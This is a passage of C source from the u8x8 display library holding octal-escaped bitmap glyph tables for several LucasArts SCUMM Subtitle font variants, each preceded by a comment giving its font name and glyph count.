"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\377\1\1" "\1\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\340\340`\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0<\37\7\1\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\60\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\360\34\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300p\36\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\17\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300@@@\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\370\7\1\0\0\0\0\0\1\7\370\0\0\0\0\0\0\0\0\0\0\0\0\0\37\360\200\0\0\0\0\0" "\200\360\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\2\2\2\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\1\1\1\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\2\2\2\2\3\2\2\2\2\2\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200@@@@@\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\7\1\0\0\0\0\0\200\300p\37\0\0\0\0\0\0\0\0\0\0\0\0\200\300`\60\30\14\6\3\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\2\2\2\2\2\2\2\2\2\2\2\3\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200\300@@@\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\1\1\0\0\200\200\200\200@!\37\0\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\0\0\0\0" "\1\201\302|\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\2\2\2\2\3\1\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200@\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\200`\60\14\6\1\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\13\11\10\10\10\10\10\10" "\377\10\10\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\2\2\3\2\2\2\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300@@@@@@@@@\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\377@@` `@\300\200\0\0\0\0\0\0\0\0\0\0\0\0@\300\200\0\0\0\0\0\0" "\0\200\343>\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\2\2\2\3\1\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\300@@@@\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\360\34\307A` `@\300\0\0\0\0\0\0\0\0\0\0\0\0\0\37\177\300\0\0\0\0\0" "\0\0\301\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\2\2\2\3\1\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300@@@@@@@@@\300\0\0\0\0\0\0\0\0\0\0\0\0\0" "\1\0\0\0\0\0\0\200\360\36\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300|\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200@@@@@\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\36\63@\300\200\200\200\300@\63\36\0\0\0\0\0\0\0\0\0\0\0\0\0|\307\1\1\0\0\0\1" "\1\307|\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\2\2\2\3\1\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200\300@@@@\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "~\303\0\0\0\0\0\0\200\301\77\374\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\2\2\3\201" "\301`\34\3\0\0\0\0\0\0\0\0\0\0\0\0\0\2\2\2\3\1\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0`\360\360\360`\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: -FreeType-LucasArts SCUMM Subtitle Roman Outline-Medium-R-Normal--32-320-72-72-P-107-ISO10646-1 Copyright: Copyright Goatmeal 2013 LucasArts SCUMM - Subtitle - Roman Glyphs: 89/95 BBX Build Mode: 3 */ const uint8_t u8x8_font_lucasarts_scumm_subtitle_o_2x2_f[7076] U8X8_FONT_SECTION("u8x8_font_lucasarts_scumm_subtitle_o_2x2_f") = " \374\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0~\303\1\1\303~\0\0\0\0\0\0\0\0\0\0\0\37\22\22\37\0\0\0\0\0\0\0" "\0\0\0\0\37\21\21\37\37\21\21\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\37\21\21\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\276\222\302b>\0\0\0\0\0\0" "\0\0\0\0\300@@@@@@@\300\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\36\22\22\36\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300`\60\30\214\306c\61\37\0\0\0\0\0\37\21\30\14\6\3\1\0\0\0\0\0" "\0\0\0\0\360\34\6\343\271\15\5\15\271\343\6\34\360\0\0\0\1\7\14\30\23\26\24\26\23\30\14\7" "\1\0\0\0\34\26\363\1\1\377\0\0\0\0\0\0\0\0\0\0\34\24\27\20\20\27\24\34\0\0\0\0" "\0\0\0\0\34\26\23\231\315e=\231\303f<\0\0\0\0\0\34\26\23\21\24\26\27\25\24\24\34\0" "\0\0\0\0\34\26\23\371\255\245\275\31C\346\274\0\0\0\0\0\7\15\31\23\26\24\27\23\30\14\7\0" "\0\0\0\0\300`\60\230\314\346\363\1\1\377\200\0\0\0\0\0\3\2\2\2\2\2\36\20\20\36\3\0" "\0\0\0\0\177AA]UU\325\225\65e\307\0\0\0\0\0\7\15\31\23\26\24\26\23\30\14\7\0" "\0\0\0\0\374\6\3\231\335U\335\231\63v\334\0\0\0\0\0\7\14\30\23\26\24\26\23\30\14\7\0" "\0\0\0\0\7\5\5\345\65\35\315e\61\31\17\0\0\0\0\0\0\0\0\37\20\20\37\0\0\0\0\0" "\0\0\0\0\274\346C\31\275\245\275\31C\346\274\0\0\0\0\0\7\14\30\23\27\24\27\23\30\14\7\0" "\0\0\0\0|\306\203\71mEm\71\3\6\374\0\0\0\0\0\7\15\31\23\27\25\27\23\30\14\7\0" "\0\0\0\0xHHx\0\0\0\0\0\0\0\0\0\0\0\0\17\11\11\17\0\0\0\0\0\0\0\0" "\0\0\0\0xHHx\0\0\0\0\0\0\0\0\0\0\0\0\77)\61\37\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\34\26\23\231\315e=\231\303f<\0\0\0\0\0\0\0\0\37\24\24\37\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\340\70\16CqqG\34p\300\0\0\0\34\26\23\20\24\37\1\1\1\1\37\24" "\21\27\34\0\7\375\1\1\275\275\231\3f\374\200\0\0\0\0\0\34\27\20\20\27\24\27\23\30\14\7\0" "\0\0\0\0\360\34\6\343\271\15\5\15\31\63!\77\0\0\0\0\1\7\14\30\23\26\24\26\22\33\15\7" "\0\0\0\0\7\375\1\1\375\5\15\271\343\6\34\360\0\0\0\0\34\27\20\20\27\24\26\23\30\14\7\1" "\0\0\0\0\7\375\1\1\275\35\15\375\31\21\37\0\0\0\0\0\34\27\20\20\27\27\26\27\23\21\37\0" "\0\0\0\0\7\375\1\1\275\35\15\375\31\21\37\0\0\0\0\0\34\27\20\20\27\27\36\3\0\0\0\0" "\0\0\0\0\360\34\6\343\271\15\305MYsa\177\300\0\0\0\1\7\14\30\23\26\25\27\33\20\20\37" "\1\0\0\0\7\375\1\1\275\247\247\275\1\1\375\7\0\0\0\0\34\27\20\20\27\34\34\27\20\20\27\34" "\0\0\0\0\7\375\1\1\375\7\0\0\0\0\0\0\0\0\0\0\34\27\20\20\27\34\0\0\0\0\0\0" "\0\0\0\0\0\200\200\200\207\375\1\1\375\7\0\0\0\0\0\0\17\31\20\22\27\23\20\30\17\0\0\0" "\0\0\0\0\7\375\1\1\235\17g\361\231\15\5\7\0\0\0\0\34\27\20\20\27\37\36\24\21\23\26\34" "\0\0\0\0\7\375\1\1\375\5\7\0\0\0\0\0\0\0\0\0\34\27\20\20\27\24\24\24\26\23\21\37" "\0\0\0\0\7\375\1\1\361\303\16<\16\303\361\1\1\375\7\0\34\27\20\20\27\37\3\2\3\37\27\20" "\20\27\34\0\7\375\1\1\361\307\34\177\375\1\1\375\7\0\0\0\34\27\20\20\27\37\7\34\21\20\20\27" "\34\0\0\0\360\34\6\343\271\15\5\15\271\343\6\34\360\0\0\0\1\7\14\30\23\26\24\26\23\30\14\7" "\1\0\0\0\7\375\1\1\275\245\275\231\303f<\0\0\0\0\0\34\27\20\20\27\34\0\0\0\0\0\0" "\0\0\0\0\360\34\6\343\271\15\5\15\271\343\6\34\360\0\0\0\1\7\14\30\23\66bFSX|\7" "\1\0\0\0\7\375\1\1\275\245\275\31C\346\274\0\0\0\0\0\34\27\20\20\27\34\35\27\20\20\27\34" "\0\0\0\0\232\332\326\324\34\60\340\0\0\0\0\0\0\7\14\30\22\26\26\26\22\33\17\0\0" "\0\0\0\0\300`\60\234\324\326\332\32>\340\0\0\0\0\0\0\7\14\30\22\26\26\26\22\33\17\0\0" "\0\0\0\0\300`<\226\322\332\322\26<\340\0\0\0\0\0\0\7\14\30\22\26\26\26\22\33\17\0\0" "\0\0\0\0\300`<\224\324\334\324\24<\340\0\0\0\0\0\0\7\14\30\22\26\26\26\22\33\17\0\0" "\0\0\0\0\16\12\372\26\24\374\0\0\0\0\0\0\0\0\0\0\0\34\27\20\20\27\34\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\34\366\32\32\366\34\0\0\0\0\0\0\0\0\0\0\34\27\20\20\27\34\0\0\0\0\0\0" "\0\0\0\0\34\364\34\34\364\34\0\0\0\0\0\0\0\0\0\0\34\27\20\20\27\34\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0p\334\24\24\334pp\334\24\24\374\0\0\0\0\0\0\17\30\20\23\26\26\33\20\20\27\34" "\0\0\0"; /* Fontname: -FreeType-LucasArts SCUMM Subtitle Roman Outline-Medium-R-Normal--32-320-72-72-P-107-ISO10646-1 Copyright: Copyright Goatmeal 2013 LucasArts SCUMM - Subtitle - Roman Glyphs: 74/95 BBX Build Mode: 3 */ const uint8_t u8x8_font_lucasarts_scumm_subtitle_o_2x2_r[2916] U8X8_FONT_SECTION("u8x8_font_lucasarts_scumm_subtitle_o_2x2_r") = " z\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0~\303\1\1\303~\0\0\0\0\0\0\0\0\0\0\0\37\22\22\37\0\0\0\0\0\0\0" "\0\0\0\0\37\21\21\37\37\21\21\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\37\21\21\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\276\222\302b>\0\0\0\0\0\0" "\0\0\0\0\300@@@@@@@\300\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\36\22\22\36\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300`\60\30\214\306c\61\37\0\0\0\0\0\37\21\30\14\6\3\1\0\0\0\0\0" "\0\0\0\0\360\34\6\343\271\15\5\15\271\343\6\34\360\0\0\0\1\7\14\30\23\26\24\26\23\30\14\7" "\1\0\0\0\34\26\363\1\1\377\0\0\0\0\0\0\0\0\0\0\34\24\27\20\20\27\24\34\0\0\0\0" "\0\0\0\0\34\26\23\231\315e=\231\303f<\0\0\0\0\0\34\26\23\21\24\26\27\25\24\24\34\0" "\0\0\0\0\34\26\23\371\255\245\275\31C\346\274\0\0\0\0\0\7\15\31\23\26\24\27\23\30\14\7\0" "\0\0\0\0\300`\60\230\314\346\363\1\1\377\200\0\0\0\0\0\3\2\2\2\2\2\36\20\20\36\3\0" "\0\0\0\0\177AA]UU\325\225\65e\307\0\0\0\0\0\7\15\31\23\26\24\26\23\30\14\7\0" "\0\0\0\0\374\6\3\231\335U\335\231\63v\334\0\0\0\0\0\7\14\30\23\26\24\26\23\30\14\7\0" "\0\0\0\0\7\5\5\345\65\35\315e\61\31\17\0\0\0\0\0\0\0\0\37\20\20\37\0\0\0\0\0" "\0\0\0\0\274\346C\31\275\245\275\31C\346\274\0\0\0\0\0\7\14\30\23\27\24\27\23\30\14\7\0" "\0\0\0\0|\306\203\71mEm\71\3\6\374\0\0\0\0\0\7\15\31\23\27\25\27\23\30\14\7\0" "\0\0\0\0xHHx\0\0\0\0\0\0\0\0\0\0\0\0\17\11\11\17\0\0\0\0\0\0\0\0" "\0\0\0\0xHHx\0\0\0\0\0\0\0\0\0\0\0\0\77)\61\37\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\34\26\23\231\315e=\231\303f<\0\0\0\0\0\0\0\0\37\24\24\37\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\340\70\16CqqG\34p\300\0\0\0\34\26\23\20\24\37\1\1\1\1\37\24" "\21\27\34\0\7\375\1\1\275\275\231\3f\374\200\0\0\0\0\0\34\27\20\20\27\24\27\23\30\14\7\0" "\0\0\0\0\360\34\6\343\271\15\5\15\31\63!\77\0\0\0\0\1\7\14\30\23\26\24\26\22\33\15\7" "\0\0\0\0\7\375\1\1\375\5\15\271\343\6\34\360\0\0\0\0\34\27\20\20\27\24\26\23\30\14\7\1" "\0\0\0\0\7\375\1\1\275\35\15\375\31\21\37\0\0\0\0\0\34\27\20\20\27\27\26\27\23\21\37\0" "\0\0\0\0\7\375\1\1\275\35\15\375\31\21\37\0\0\0\0\0\34\27\20\20\27\27\36\3\0\0\0\0" "\0\0\0\0\360\34\6\343\271\15\305MYsa\177\300\0\0\0\1\7\14\30\23\26\25\27\33\20\20\37" "\1\0\0\0\7\375\1\1\275\247\247\275\1\1\375\7\0\0\0\0\34\27\20\20\27\34\34\27\20\20\27\34" "\0\0\0\0\7\375\1\1\375\7\0\0\0\0\0\0\0\0\0\0\34\27\20\20\27\34\0\0\0\0\0\0" "\0\0\0\0\0\200\200\200\207\375\1\1\375\7\0\0\0\0\0\0\17\31\20\22\27\23\20\30\17\0\0\0" "\0\0\0\0\7\375\1\1\235\17g\361\231\15\5\7\0\0\0\0\34\27\20\20\27\37\36\24\21\23\26\34" "\0\0\0\0\7\375\1\1\375\5\7\0\0\0\0\0\0\0\0\0\34\27\20\20\27\24\24\24\26\23\21\37" "\0\0\0\0\7\375\1\1\361\303\16<\16\303\361\1\1\375\7\0\34\27\20\20\27\37\3\2\3\37\27\20" "\20\27\34\0\7\375\1\1\361\307\34\177\375\1\1\375\7\0\0\0\34\27\20\20\27\37\7\34\21\20\20\27" "\34\0\0\0\360\34\6\343\271\15\5\15\271\343\6\34\360\0\0\0\1\7\14\30\23\26\24\26\23\30\14\7" "\1\0\0\0\7\375\1\1\275\245\275\231\303f<\0\0\0\0\0\34\27\20\20\27\34\0\0\0\0\0\0" "\0\0\0\0\360\34\6\343\271\15\5\15\271\343\6\34\360\0\0\0\1\7\14\30\23\66bFSX|\7" "\1\0\0\0\7\375\1\1\275\245\275\31C\346\274\0\0\0\0\0\34\27\20\20\27\34\35\27\20\20\27\34" "\0\0\0\0\0\0\0\0\0>#\61\30\14\6\3\1\0\0\0\0" "\0\0\0\0\340\70\14\306r\32\12\32r\306\14\70\340\0\0\0\3\16\30\61',(,'\61\30\16" "\3\0\0\0\70,\346\2\2\376\0\0\0\0\0\0\0\0\0\0\70(/ /(\70\0\0\0\0" "\0\0\0\0\70,&\62\232\312z\62\206\314x\0\0\0\0\0\70,&#),.+)(\70\0" "\0\0\0\0\70,&\362ZJz\62\206\314x\0\0\0\0\0\16\32\62'-)/&\60\31\17\0" "\0\0\0\0\200\300`\60\230\314\346\2\2\376\0\0\0\0\0\0\7\4\4\5\5\5= =\7\0" "\0\0\0\0\376\202\202\272\252\252\252*j\312\216\0\0\0\0\0\16\32\62&,(-'\60\30\17\0" "\0\0\0\0\370\14\6\62\272\252\272\62f\354\270\0\0\0\0\0\17\30\60'-(-'\60\30\17\0" "\0\0\0\0\16\12\12\312j:\232\312b\62\36\0\0\0\0\0\0\0\0\77 \77\0\0\0\0\0" "\0\0\0\0x\314\206\62zJz\62\206\314x\0\0\0\0\0\17\31\60&/)/&\60\31\17\0" "\0\0\0\0\370\214\6r\332\212\332r\6\14\370\0\0\0\0\0\16\33\63&.*.&\60\30\17\0" "\0\0\0\0\360\220\220\360\0\0\0\0\0\0\0\0\0\0\0\0\36\22\22\36\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: -FreeType-LucasArts SCUMM Subtitle Roman-Medium-R-Normal--16-160-72-72-P-88-ISO10646-1 Copyright: Copyright Goatmeal 2013 Glyphs: 89/95 BBX Build Mode: 3 */ const uint8_t u8x8_font_lucasarts_scumm_subtitle_r_2x2_f[7076] U8X8_FONT_SECTION("u8x8_font_lucasarts_scumm_subtitle_r_2x2_f") = " \374\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0<\376\376<\0\0\0\0\0\0\0\0\0\0\0\0\0\15\15\0\0\0\0\0\0\0\0" "\0\0\0\0\0\16\16\0\0\16\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\16\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@l<\34\0\0\0\0\0\0\0" "\0\0\0\0\0\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\14\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340p\70\34\16\0\0\0\0\0\0\0\16\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\340\370\34\6\2\2\2\6\34\370\340\0\0\0\0\0\0\3\7\14\10\10\10\14\7\3\0" "\0\0\0\0\0\10\14\376\376\0\0\0\0\0\0\0\0\0\0\0\0\10\10\17\17\10\10\0\0\0\0\0" "\0\0\0\0\0\10\14\6\2\202\302f<\30\0\0\0\0\0\0\0\10\14\16\13\11\10\10\10\10\0\0" "\0\0\0\0\0\10\14\6BBB\346\274\30\0\0\0\0\0\0\0\2\6\14\10\10\10\14\7\3\0\0" "\0\0\0\0\0\200\300`\60\30\14\376\376\0\0\0\0\0\0\0\0\1\1\1\1\1\1\17\17\1\0\0" "\0\0\0\0\0>>\42\42\42\42b\302\202\0\0\0\0\0\0\0\2\6\14\10\10\10\14\7\3\0\0" "\0\0\0\0\0\370\374f\42\42\42f\314\210\0\0\0\0\0\0\0\3\7\14\10\10\10\14\7\3\0\0" "\0\0\0\0\0\2\2\2\302\342\62\32\16\6\0\0\0\0\0\0\0\0\0\0\17\17\0\0\0\0\0\0" "\0\0\0\0\0\30\274\346BBB\346\274\30\0\0\0\0\0\0\0\3\7\14\10\10\10\14\7\3\0\0" "\0\0\0\0\0\70|\306\202\202\202\306\374\370\0\0\0\0\0\0\0\2\6\14\10\10\10\14\7\3\0\0" "\0\0\0\0\0\60\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\6\6\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\60\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\26\16\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\10\14\6\2\202\302f<\30\0\0\0\0\0\0\0\0\0\0\13\13\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\360\274\216\216\270\340\200\0\0\0\0\0\10\14\17\13\0\0\0\0\0\0\13" "\16\10\0\0\0\2\376\376BBf\374\230\0\0\0\0\0\0\0\0\10\17\17\10\10\10\14\7\3\0\0" "\0\0\0\0\0\340\370\34\6\2\2\2\6\14\36\0\0\0\0\0\0\0\3\7\14\10\10\10\14\4\2\0" "\0\0\0\0\0\2\376\376\2\2\2\6\34\370\340\0\0\0\0\0\0\10\17\17\10\10\10\14\7\3\0\0" "\0\0\0\0\0\2\376\376B\342\362\2\6\16\0\0\0\0\0\0\0\10\17\17\10\10\11\10\14\16\0\0" "\0\0\0\0\0\2\376\376B\342\362\2\6\16\0\0\0\0\0\0\0\10\17\17\10\10\1\0\0\0\0\0" "\0\0\0\0\0\340\370\34\6\2\2\202\206\214\236\200\0\0\0\0\0\0\3\7\14\10\10\10\4\17\17\0" 